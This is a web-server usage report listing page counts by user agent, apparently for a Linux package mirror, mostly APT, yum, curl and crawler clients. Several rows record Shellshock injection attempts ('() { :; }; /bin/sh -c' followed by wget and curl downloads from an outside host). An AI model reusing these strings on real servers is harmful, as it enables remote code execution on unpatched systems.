Pages      User Agent
----------------  ----------------------

286107    13.04%  Browser: Netscape 4.8
9908       0.45%  Browser: Firefox
9467       0.43%  Browser: Internet Explorer 5.0
7807       0.36%  Spider: Googlebot
4497       0.20%  Browser: Safari (OSX)
1127       0.05%  Browser: Internet Explorer 5.21 (Mac)
1102       0.05%  Browser: Internet Explorer 6.0 (Win)
581        0.03%  Browser: Internet Explorer 3.0  (win95)
100        0.00%  Browser: Internet Explorer 7.0 (Win)
84         0.00%  Browser: Netscape 4.5
41         0.00%  Browser: Opera
25         0.00%  Browser: Netscape v3.xx
10         0.00%  Browser: Internet Explorer 5.5 (Win)
5          0.00%  Browser: Internet Explorer 4.01
4          0.00%  Browser: Internet Explorer 4.5
2          0.00%  Spider: MSNBot

475661    21.67%  Debian APT-HTTP/1.3 (1.0.1ubuntu2)
430483    19.61%  Debian APT-HTTP/1.3 (0.9.9.1~ubuntu1)
237256    10.81%  MirrorBrain Scanner/2.18.1 (See http://mirrorbrain.org/scanner_info)
200594     9.14%  Debian APT-HTTP/1.3 (1.0.9.8.3)
173639     7.91%  mirrormanager-crawler/0.1 (+http://fedorahosted.org/mirrormanager)
87627      3.99%  Debian APT-HTTP/1.3 (0.9.7.7ubuntu4)
31443      1.43%  Debian APT-HTTP/1.3 (0.9.7.9)
29825      1.36%  Debian APT-HTTP/1.3 (1.0.9.7ubuntu4)
27433      1.25%  urlgrabber/3.10 yum/3.4.3
24146      1.10%  Debian APT-HTTP/1.3 (1.0.10.2ubuntu1)
21706      0.99%  MirrorBrain Probe (see http://mirrorbrain.org/probe_info)
20639      0.94%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.26)
13261      0.60%  Debian APT-HTTP/1.3 (1.0.9.8.2)
9605       0.44%  Debian APT-HTTP/1.3 (1.0.9.2ubuntu2)
9528       0.43%  Debian APT-HTTP/1.3 (1.2.10)
6653       0.30%  Debian Apt-Cacher-NG/0.8.0
4480       0.20%  Debian APT-HTTP/1.3 (1.0.9.8.1)
4112       0.19%  Debian Apt-Cacher-NG/0.7.27
3452       0.16%  curl/7.30.0
3254       0.15%  CentOSIPv6mirrorchecker/4.0; centos at miuku dot net
3042       0.14%  Wget/1.13.4 (linux-gnu)
2659       0.12%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.21)
2549       0.12%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.16)
2516       0.11%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.22)
1836       0.08%  Debian APT-HTTP/1.3 (1.2.12)
1812       0.08%  libwww-perl/6.05
1797       0.08%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.17)
1748       0.08%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.25)
1637       0.07%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.27)
1450       0.07%  repoverge.net
1254       0.06%  Wget/1.12 (linux-gnu)
1178       0.05%  Wget/1.15 (linux-gnu)
1125       0.05%  TurnitinBot (https://turnitin.com/robot/crawlerinfo.html)
1105       0.05%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.15)
1025       0.05%  Debian APT-HTTP/1.3 (1.0.9.8)
671        0.03%  urlgrabber/3.9.1 yum/3.2.29
665        0.03%  libwww-perl/6.15
609        0.03%  Debian APT-HTTP/1.3 (0.8.10.3)
605        0.03%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.14)
549        0.03%  Mozilla/4.0
496        0.02%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.12)
495        0.02%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.23)
483        0.02%  Debian Apt-Cacher-NG/0.9.1
459        0.02%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.24)
449        0.02%  Debian Apt-Cacher-NG/0.7.26
445        0.02%  Debian APT-HTTP/1.3 (1.2.11)
420        0.02%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.19)
415        0.02%  curl/7.21.2 (i686-mandriva-linux-gnu) libcurl/7.21.2 OpenSSL/1.0.0a zlib/1.2.3 libidn/1.18 libssh2/1.2.5
368        0.02%  CPAN::Mini/1.111008
366        0.02%  HTTP-Tiny/0.025
353        0.02%  apt-cacher/1.7.6 libcurl/7.26.0 GnuTLS/2.12.20 zlib/1.2.7 libidn/1.25 libssh2/1.4.2 librtmp/2.3
329        0.01%  libwww-perl/6.03
317        0.01%  Debian Apt-Cacher-NG/0.7.11
275        0.01%  Wget/1.16 (linux-gnu)
252        0.01%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.7)
252        0.01%  HTTP-Tiny/0.033
240        0.01%  curl/7.21.7 (x86_64-mandriva-linux-gnu) libcurl/7.21.7 OpenSSL/1.0.0d zlib/1.2.5 libidn/1.22 libssh2/1.2.8
238        0.01%  curl/7.40.0
238        0.01%  libwww-perl/6.04
228        0.01%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10)
211        0.01%  ltx71 - (http://ltx71.com/)
197        0.01%  curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
196        0.01%  iPXE/1.0.0+ (d0bfd)
189        0.01%  Ubuntu APT-HTTP/1.3 (0.7.25.3ubuntu9.17.1)
183        0.01%  curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
172        0.01%  lftp/4.0.9
167        0.01%  Cloud mapping experiment. Contact research@pdrlabs.net
158        0.01%  libwww-perl/5.833
147        0.01%  Debian APT-HTTP/1.3 (1.0.4ubuntu4)
138        0.01%  Debian APT-HTTP/1.3 (0.9.7.5ubuntu5.1)
132        0.01%  Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
130        0.01%  Debian APT-HTTP/1.3 (0.9.12.1)
124        0.01%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.10)
121        0.01%  Debian APT-HTTP/1.3 (1.2.6)
107        0.00%  libwww-perl/6.13
103        0.00%  curl/7.21.7 (i586-mandriva-linux-gnu) libcurl/7.21.7 OpenSSL/1.0.0d zlib/1.2.5 libidn/1.22 libssh2/1.2.9
98         0.00%  urlgrabber/3.10
91         0.00%  urlgrabber/3.1.0 yum/3.2.22
88         0.00%  Debian APT-HTTP/1.3 (0.8.16~exp5ubuntu13)
86         0.00%  libwww-perl/5.805
83         0.00%  Python-urllib/2.7
82         0.00%  betaBot
81         0.00%  HTTP-Tiny/0.017
70         0.00%  SVN/1.8.8 (x86_64-pc-linux-gnu) serf/1.3.3
68         0.00%  Wget/1.14 (linux-gnu)
68         0.00%  libwww-perl/6.08
68         0.00%  urlgrabber/3.9.1
61         0.00%  HTTP-Tiny/0.012
59         0.00%  curl/7.20.1 (i586-mandriva-linux-gnu) libcurl/7.20.1 OpenSSL/1.0.0a zlib/1.2.3 libidn/1.18 libssh2/1.2.5
52         0.00%  Java/1.6.0_04
52         0.00%  curl/7.21.7 (x86_64-mandriva-linux-gnu) libcurl/7.21.7 OpenSSL/1.0.0d zlib/1.2.5 libidn/1.22 libssh2/1.2.9
52         0.00%  semanticbot (info@semanticaudience.com)
47         0.00%  PycURL/7.29.0
45         0.00%  Java/1.4.1_04
45         0.00%  Java/1.7.0_11
45         0.00%  Java/1.8.0_31
45         0.00%  Java/1.8.0_77
45         0.00%  Wget/1.10.2 (Red Hat modified)
42         0.00%  libwww-perl/5.837
41         0.00%  curl/7.21.7 (i586-mandriva-linux-gnu) libcurl/7.21.7 OpenSSL/1.0.0d zlib/1.2.5 libidn/1.22 libssh2/1.2.8
39         0.00%  Artifactory/4.4.2
39         0.00%  ia_archiver
36         0.00%  Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
35         0.00%  Debian APT-HTTP/1.3 (1.0.9.10+kali1~r2u1)
32         0.00%  Debian APT-HTTP/1.3 (1.2.7)
31         0.00%  Debian APT-HTTP/1.3 (1.3~exp1)
31         0.00%  Debian Apt-Cacher-NG/0.7.2
30         0.00%  Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
28         0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2.2)
26         0.00%  Debian APT-HTTP/1.3 (0.9.15.4ubuntu1)
26         0.00%  HTTP-Tiny/0.034
25         0.00%  wonderbot/JS 1.0
24         0.00%  Wget/1.16.3 (solaris2.11)
23         0.00%  CCBot/2.0 (http://commoncrawl.org/faq/)
22         0.00%  Debian APT-HTTP/1.3 (0.9.7.5ubuntu5)
22         0.00%  Python-urllib/2.6
22         0.00%  iPXE/1.0.0+ (c4bce43)
20         0.00%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.20.1)
20         0.00%  Debian APT-HTTP/1.3 (0.8.16~exp5ubuntu13.7)
20         0.00%  HTTP-Tiny/0.054
20         0.00%  ZmEu
18         0.00%  Lynx/2.8.6rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/1.0.0-fips
18         0.00%  curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
17         0.00%  python-requests/2.4.3 CPython/2.7.5 Linux/3.10.0-327.18.2.el7.x86_64
16         0.00%  libwww-perl/5.836
16         0.00%  mfibot/1.1 (http://www.mfisoft.ru/analyst/; 
16         0.00%  python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-327.13.1.el7.x86_64
15         0.00%  Mozilla/4.0 (compatible;)
13         0.00%  ) { :;};/usr/bin/perl -e 'print 
13         0.00%  1
13         0.00%  2
13         0.00%  BTWebClient/3450
13         0.00%  Debian APT-HTTP/1.3 (1.1.10.1)
13         0.00%  Go-http-client/1.1
12         0.00%  0
12         0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802BFAB3
12         0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C1D2F
12         0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C1D89
12         0.00%  lftp/3.7.11
11         0.00%  Debian APT-HTTP/1.3 (1.1.10)
11         0.00%  Go http package
11         0.00%  Lynx/2.8.8dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/1.0.1e-fips
11         0.00%  curl/7.29.0
10         0.00%  Debian APT-HTTP/1.3 (1.0.9.10ubuntu1)
10         0.00%  Wget/1.11.4 Red Hat modified
9          0.00%  BTWebClient/3460
9          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C0983
9          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C1246
9          0.00%  Lynx/2.8.8dev.12 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.18
9          0.00%  Mozilla/4.0 (compatible; Synapse)
9          0.00%  libwww-perl/6.06
8          0.00%  CentOS (anaconda)/7 yum/3.4.3
8          0.00%  Wget/1.16.1 (linux-gnu)
8          0.00%  YisouSpider
8          0.00%  masscan/1.0 (https://github.com/robertdavidgraham/masscan)
8          0.00%  python-requests/2.4.3 CPython/2.7.5 Linux/3.10.0-327.13.1.el7.x86_64
7          0.00%  3
7          0.00%  PycURL/7.19.3 libcurl/7.38.0 GnuTLS/3.2.16 zlib/1.2.8 libidn/1.28 librtmp/2.3
6          0.00%  Anemone/0.7.2
6          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E675CE2341
6          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802BF699
6          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C0E2F
6          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C1D59
6          0.00%  libwww-perl/5.834
6          0.00%  python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-327.18.2.el7.x86_64
5          0.00%  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
4          0.00%  ) { :; }; /bin/sh -c 'wget http://redlug.com/pdf/IWD1990.docx -O /dev/null;wget1 http://redlug.com/pdf/IWD1990.docx -O /dev/null;curl http://redlug.com/pdf/IWD1990.docx -o /dev/null;/usr/sfwbin/wget http://redlug.com/pdf/IWD1990.docx;fetch -/dev/null http://redlug.com/pdf/IWD1990.docx
4          0.00%  BB_Work_Connect/1.0.23365.45 CFNetwork/758.3.15 Darwin/15.4.0
4          0.00%  CakePHP
4          0.00%  Lynx/2.8.5rel.1 libwww-FM/2.15FC SSL-MM/1.4.1c OpenSSL/0.9.7e-dev
4          0.00%  Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0))
4          0.00%  Telesphoreo
4          0.00%  Wget(linux)
4          0.00%  Wget/1.17.1 (linux-gnu)
4          0.00%  lftp/4.4.8
4          0.00%  libwww-perl/5.808
4          0.00%  yacybot (/global; amd64 Linux 3.2.0-4-amd64; java 1.8.0_05; Europe/en) http://yacy.net/bot.html
3          0.00%  ) { :; }; /bin/bash -c 
3          0.00%  Debian APT-HTTP/1.3 (0.8.16~exp12ubuntu10.3)
3          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E675CD50B0
3          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E67AAF86DF
3          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C05BC
3          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C1946
3          0.00%  Debian APT-HTTP/1.3 (1.0.1ubuntu2) BMID/E6802C1DCA
3          0.00%  Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1)
3          0.00%  Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
3          0.00%  PycURL/7.19.3 libcurl/7.36.0 GnuTLS/3.2.11 zlib/1.2.8 libidn/1.28
3          0.00%  PycURL/7.19.3 libcurl/7.37.1 GnuTLS/3.2.16 zlib/1.2.8 libidn/1.28 librtmp/2.3
3          0.00%  curl/7.19.7 (x86_64-unknown-linux-gnu) libcurl/7.19.7 NSS/3.12.7.0 zlib/1.2.3 libidn/1.18 libssh2/1.2.2
3          0.00%  nutch-1.4/Nutch-1.4
2          0.00%  BB_Work_Connect/1.0.23370.48 CFNetwork/758.3.15 Darwin/15.4.0
2          0.00%  CRAZYWEBCRAWLER 0.9.10, http://www.crazywebcrawler.com
2          0.00%  CURIValidate
2          0.00%  Debian APT-HTTP/1.3 (1.2.9)
2          0.00%  Domain Re-Animator Bot (http://domainreanimator.com) - support@domainreanimator.com
2          0.00%  ELinks (textmode)
2          0.00%  GarlikCrawler/1.2 (http://garlik.com/, crawler@garlik.com)
2          0.00%  HTTP-Tiny/0.043
2          0.00%  Iframely/0.8.5 (+http://iframely.com/;)
2          0.00%  Mozilla/4.0 (compatible; MSIE 8.0; Win32)
2          0.00%  PrivateSearch/0.1.0 (Polite Nutch Crawler; grierforensics.com)
2          0.00%  PycURL/7.22.0
2          0.00%  Safari/530.5
2          0.00%  Scrapy/1.0.5 (+http://scrapy.org)
2          0.00%  WordPress/3.7
2          0.00%  curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
2          0.00%  curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.18 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
2          0.00%  python-requests/2.9.1
2          0.00%  vebidoobot
1          0.00%  ) { :;}; /bin/bash -c 
1          0.00%  Aboundex/0.3 (http://www.aboundex.com/crawler/)
1          0.00%  Arquivo-web-crawler  (compatible; heritrix/1.14.3 +http://arquivo.pt/faq-crawling)
1          0.00%  Artifactory/4.8.0
1          0.00%  BB_Work_Connect/1.0.23246.28 CFNetwork/758.3.15 Darwin/15.4.0
1          0.00%  BTWebClient/3460(42178)
1          0.00%  BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 ips-agent
1          0.00%  Chef Knife/12.4.3 (ruby-2.1.6-p336; ohai-8.5.1; x86_64-linux; +http://opscode.com)
1          0.00%  Debian APT-HTTP/1.3 (1.2.3)
1          0.00%  EMail Exractor
1          0.00%  GigablastOpenSource/1.0
1          0.00%  HTTP-Tiny/0.056
1          0.00%  Java/1.7.0_45
1          0.00%  Kerrigan/2.0 (kerrigan@mashable.com)
1          0.00%  Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
1          0.00%  Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
1          0.00%  OrgProbe/0.9.4 (+http://www.blocked.org.uk)
1          0.00%  PycURL/7.19.5 libcurl/7.37.1 GnuTLS/3.2.16 zlib/1.2.8 libidn/1.28 librtmp/2.3
1          0.00%  PycURL/7.19.5 libcurl/7.38.0 GnuTLS/3.3.8 zlib/1.2.8 libidn/1.29 libssh2/1.4.3 librtmp/2.3
1          0.00%  Qwantify/1.0
1          0.00%  RSSingBot (http://www.rssing.com)
1          0.00%  SalesIntelligent/v1.1
1          0.00%  Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)
1          0.00%  TelegramBot (like TwitterBot)
1          0.00%  Twitterbot/1.0
1          0.00%  Ubuntu APT-HTTP/1.3 (0.7.25.3ubuntu9.4)
1          0.00%  Xenu Link Sleuth/1.3.8
1          0.00%  Zend_Http_Client
1          0.00%  asa
1          0.00%  crawler4j (https://github.com/yasserg/crawler4j/)
1          0.00%  curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
1          0.00%  curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.13.1.0 zlib/1.2.3 libidn/1.18 libssh2/1.2.2
1          0.00%  curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3
1          0.00%  iPXE/1.0.0+ (5975)
1          0.00%  libwww-perl/6.02
1          0.00%  python-requests/2.4.3 CPython/2.6.6 Linux/2.6.32-573.18.1.el6.x86_64
1          0.00%  python-requests/2.7.0 CPython/2.7.9 Windows/2003Server
1          0.00%  shellshock-scan
1          0.00%  spiderman